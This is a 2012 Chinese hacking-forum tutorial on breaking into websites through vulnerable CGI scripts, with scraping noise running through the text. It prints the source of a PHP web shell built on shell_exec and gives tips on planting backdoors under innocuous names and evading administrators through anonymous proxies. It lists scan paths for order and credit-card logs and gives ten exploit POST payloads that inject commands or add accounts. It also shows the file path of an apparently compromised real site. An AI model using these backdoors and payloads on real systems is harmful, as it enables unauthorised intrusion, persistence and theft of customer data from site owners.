中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
% `  N- \* ]. M; C$ l大家好 我是bboyhip  只是一名菜菜的exploiter
9 ~/ d1 v. I; k( [; P3 M很开心来到贵论坛
4 o- U3 [- ]( e' [2 F这里让我感觉 很有技术交流的感觉( o, L6 G. r1 k2 s# [
我会长长来玩的
7 x2 H9 M+ v2 S6 t+ w前言:6 B) V( O% o; j1 r  V
以下讲解针对欧美日本网站
! x& x& `; c, b當我們在做滲透分析的時候 方法有很多
& M: E. y& b, ~- q1 z我门都知道 国外伺服器大多是linux 平台1 y# _" _1 h* F* w! _: v* W
所以有很多网站程序有6成都会使用cgi 脚本来管理4 {3 ~& C' d. W- A  L% p
目录为/cgi-bin/
3 h5 N& o( t( j; T/ q( [* B$ @5 {: |  R
只是个人在实务上一些经验  S4 \3 h3 _1 \, O6 s
写的不好 请多多见谅喔 ( S: D5 c5 ^( ~6 u) ^$ G
在这里我简单分为几个部份一定要會的) D; I2 L0 q+ O  t
讲解一下
$ R5 m! F. c9 a( k让没有基础的人很容易上手; e8 d  m& D, ]" k4 D

. Y" t7 `# R4 \$ L+ L) `3 \以下内容跟帖回复才能看到
3 K* W8 M* Y- W& U==============================
  y! W( Q3 r6 z8 J+ @$ }; V- B" M, K* P+ n+ k
第1部份: 何谓Shell?& R; [; S$ b* A) Y$ k' i- K' i& R
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:1 ^' P% O" ?3 {) f5 I
A shell is the program which reads user input from the command line and executes actions based upon that input.
& Z. T1 @* ^2 v& I  p意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
, @" u+ X1 `. O+ f3 l. a
- ~; n6 H  h$ @) p% |" K对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  8 F; i+ L( p8 W, x; n1 v0 V
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
% Y' T' @' \5 r$ r( Q所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.- z$ S3 N9 \9 e) j& @% @  X

* V7 P& {) a5 O第2部份: Unix 指令
- F( l* o  O* K) {# K以下是一些常见及重要的指令:& Q9 J/ |* v* u6 I) g% j) f5 T
pwd: 显示当前目录, 即是後门/程式所在的位置. a  g* d" q9 p  M7 d. [6 V7 i
如 /home/www/site.com/cgi-bin/5 o4 h0 v/ p- p/ E/ }- u
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
; ^7 E2 d2 w$ K2 Pls -al :详细列出档案资料(当前目录). p$ ~, i: K1 [( s* D
ls /: 列出根目录
$ J( u& b5 G! f# S& |+ k" ~1 Cls /etc: 列出/etc的资料夹及档案4 _  @1 J4 A3 d% m; g
ls ../ -al: 详细列出上一层的资料夹及档案# I! X* q6 A. {2 Z
cat: 显示档案内容
) T% V+ q$ H  E, jcat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)# ^0 y5 B5 B# l: l8 N
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
- w* h1 W6 o- {  Ewho: 显示谁login 至系统
0 M/ U6 G6 W0 C( Fman: 显示指令用法  9 D: X5 w! B6 o
man ls: 显示ls这指令的用法  / e3 @3 g! M# L% Q% @
mkdir 建立目录- T3 ]1 k- Z4 a6 z; }" ~3 [7 [
rmdir 删除目录9 ], {% K1 v$ K' q/ x
mv 移动档案
, L$ T/ T2 ^' t0 c, _* Wrm 删除档案
4 [; Z) r1 X% C# t
) B+ P) i/ q0 z4 w+ Q  W) c$ S第3部份: Shell的使用3 o/ s: a6 |+ W5 H& [+ B9 y
例如:
1 Q7 i" o! `- I# e( ohttp://site.com/refer.php
  f- o# Z7 @( e这是我的後门, 原代码如下:0 P' D1 }6 P5 s
<Form Action="#" Method="POST"> , u, C: g! P& f; k) e9 u
<Input type="text" name="cmd">
) f$ J/ K; ]3 Y# [+ [+ U* Q<Input type="Submit">   u0 H4 i+ M: [2 G0 N
</Form>
' j8 m0 E" b, Y9 I/ G$ A<?php
) A7 ]2 a  W! M7 m% l" `% ]$cmd = $_POST['cmd'];
& F' F) a. D7 \' j2 g$Output = shell_exec($cmd); 6 r, U  @, n- c( R
echo $Output;
5 f9 [# ?9 y/ s/ x3 a% w?>
8 q; A* {) u1 U9 @7 T6 ?4 Y输入pwd, 可得到绝对路径:
' g2 g6 _3 L' q+ L/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com+ X/ C* q; Z" ]' i
7 @; S) b6 H' U9 N
第4部份: 注意事项
* K* O/ X! _, N6 H* f- 使用匿名代理, 保障自己
! k/ k7 [5 M$ o! W5 @" o* z- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
1 X5 X' c+ i5 \, M- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.& M* {, c2 A0 v" J* _. p$ O; A
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
6 m: p* ~) E% `0 P. N) ?- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,- N7 _1 d/ w1 y7 m& z; h
不容易被发现.
/ e4 ~; C2 _4 T& R& a. x1 t  X$ L$ G. r- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
2 i! z  Q$ M, }5 \6 j: M针对网站的渗透分析方法太多了
- G6 F7 _6 [5 R& U& ~; A6 }, W1 e4 R这篇文章的重点是cgi 脚本攻击
) D" b! K, k4 E所以我用简单的叙述形容
, N7 Q* W/ n2 Q开始讲解脚本入侵过程:
$ o( ?  m& [5 p  l5 }& L" h2 d在这里提供一些方法思路让大家学习一下( Z# W4 t$ R( c( l

# {. W! s; P# `4 o  i1.一开始对一个网站进行cgi漏洞扫描; g2 ^, H. u5 E! J- v& j6 \: G
我们需要的东西有
9 L' D  ?+ i9 Z2 `( Y6 B扫洞工具 如:triton..等等& o6 R  i  C+ G  a# Z
E表% U0 ~5 V3 k% z, |* x% t1 T
0 c* x" h/ u) c+ y: X) g! V2 H9 S
/cgi-bin/add-passwd.cgi
5 r2 Q( l9 M1 y8 T2 s  ?, |3 Y5 R/WebShop/templates/cc.txt
( a! J- N# c& e  W* P+ E/Admin_files/order.log- Q/ Z" w5 m0 l8 s, r. z$ D: |
/orders/mountain.cfg
% A" C, O1 L. \4 W/cgi-sys/cart.pl
! ~! r& N( {0 y* \% `) P/scripts/cart.pl1 f( o6 m0 y9 T  o
/htbin/cart.pl* D$ E. |0 D( H1 ^+ C* V. Z" Q
E表来源可以是网路收寻或是自己的0 day
- o  r( |  P4 ^+ u( A8 G/ _/ i  O+ d: M2 G6 f3 c1 `+ T
2.怎样确认扫到的洞 是真的还假的?0 l+ D5 \3 A/ u! Q' E& R7 n
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi3 I/ o9 x0 b9 ?# T: A3 s8 `
一般都是在IE里先看一下的,记住这个返回码哦
; m& q1 Q$ X8 i, t9 D$ W9 V% z% wERROR:This script should be referenced with a METHOD of POST.
/ {* P; E# {  I没有返回一定是假的6 \5 z& M9 v0 W" z1 H
3.重来来了 很多人都会问我( _+ `0 V% P3 o$ M+ r/ y: w
他扫到很多洞 但是不会使用
6 G$ {5 a$ L; K. k因为这些漏洞 使用的语法 称为post 6 p; m* `) `# ~# x3 F2 q* a
我们要找post 的方法很多
1 P7 ~* b" V' X+ ?8 r7 l6 H2 K可以是源代码分析 找出介质
" s' a* a4 N9 \9 d6 n& r! J8 }或是用抓包工具 抓他的语法...等等
9 b5 B( [6 ^: n0 g8 O5 _
. Y4 a- l* m1 ?* [! K. O: P以下我提供10个 cgi 洞以及使用方法post
" b* ]3 V) x, J3 S: z( D  d! r3 \让大家可以针对网站去做扫描  
# K5 Z+ g# T! k2 X. x( V# e2 \/index.cgi
" ?* s; l: f& [& Ywei=ren&gen=command4 `/ G% Q* O7 n- ^
/passmaster.cgi, U+ \2 Y: E# L
Action=Add&Username=Username&Password=Password
3 z3 ^+ R$ g' @  l* i: `6 x* S& H/accountcreate.cgi
  O; T) f6 I1 |4 {username=username&password=password&ref1=|echo;ls|, k# u3 m7 H' {) P4 k# y
/form.cgi
0 `* Z! T' K7 g' E9 Wname=xxxx&email=email&subject=xxxx&response=|echo;ls|9 P! i' J+ z% B7 v2 |- D& |% o
/addusr.pl
) w2 _$ A: K. r1 x' M/cgi-bin/EuroDebit/addusr.pl
6 D/ r8 w8 z8 t8 tuser=username&pass=Password&confirm=Password% f" B1 @9 k9 ^
/ccbill-local.asp
7 u  O2 R2 X) w, v  bpost_values=username:password6 L' B+ j( r1 T" {5 u
/count.cgi/ _- R. a/ W3 P  W
pinfile=|echo;ls -la;exit| 5 |8 b5 i' K/ C: g  o4 e
/recon.cgi
! c) F. N1 {: m" d3 E. J8 l# L/recon.cgi?search
& w# S+ I" R; i* G9 Ksearchoption=1&searchfor=|echo;ls -al;exit|) X# Z2 Z( }2 ~0 L
/verotelrum.pl/ Z6 j) I: ^0 l* [+ Z& j
vercode=username:password:dseegsow:add:amount<&30>
) D8 }% |0 s" k1 I4 z/af.cgi_browser_out=|echo;ls -la;exit;|
% p( s& Y0 h) a7 A
9 O! k; X! D. q$ U5 c今天就讲到这  感谢大家支持6 g) m5 G8 e& N7 I+ e





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2